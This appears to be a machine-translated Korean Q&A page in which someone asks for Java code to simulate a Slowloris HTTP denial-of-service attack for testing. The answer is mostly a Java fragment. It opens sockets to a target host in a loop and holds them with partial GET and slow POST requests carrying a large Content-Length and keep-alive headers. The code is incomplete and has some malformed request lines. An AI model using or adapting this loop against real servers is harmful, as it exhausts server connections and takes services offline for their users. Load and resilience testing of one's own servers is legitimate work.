2013-04-25 2 views
-1

웹 서버에서 Slowloris HTTP DoS 공격을 시뮬레이트 할 Java 코드 테스트를 작성해야합니다. 다음과 같은 펄 코드를 발견했습니다 : http://ha.ckers.org/slowloris/Java - Slowloris HTTP DoS 공격 시뮬레이션

내 환경이 일정하지 않습니다. 이는 컴퓨터에 설치된 활성 Perl을 보장 할 수 없음을 의미합니다. 다른 방법이 있습니까? jerl (https://code.google.com/p/jerl/)을 사용하여 액티브 - 펄 설치없이 할 수 있습니다 (어쩌면 저는 자바 프로젝트에 필요한 자유를 추가 할 수 있습니까?)?

답변

2
switch (dosMethod) { 
     case GET: 
      while(!StopWorking) 
      { 
       for(int i=0;i<per_Thread;i++) 
       { 
        if(socks[i].isConnected()) 
        { 
        try 
        { 
         PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
         pw.println("GET/HTTP/1.1"); 
         pw.println("Host: " + hp.getHostText()); 
         pw.println(); 
         pw.flush(); 
        } 
        catch (Exception e){} 
        } 
        else 
        { 
         try { 
          socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort()); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
       } 
      } 
      break; 
     case POST: 
      for(int i=0;i<per_Thread;i++) 
      { 
       try { 
        socks[i].close(); 
       } catch (IOException e) { 
        e.printStackTrace(); 
       } 
      } 
      while(!StopWorking) 
      { 
       for(int i=0;i<per_Thread;i++) 
       { 
        if(socks[i].isConnected()) 
        { 
         try { 
          PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
          pw.println(); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
        else 
        { 
         try { 
          socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort()); 
          PrintWriter pw = new PrintWriter(socks[i].getOutputStream()); 
          pw.println("POST/HTTP/1.1"); 
          pw.println("User-Agent: %s"); 
          pw.println("Connection: keep-alive"); 
          pw.println("Keep-Alive: 900"); 
          pw.println("Content-Length: 10000"); 
          pw.println("Content-Type: application/x-www-form-urlencoded"); 
          pw.println(); 
          pw.flush(); 
         } catch (IOException e) { 
          e.printStackTrace(); 
         } 
        } 
       } 
      } 
      break; 
    } 

;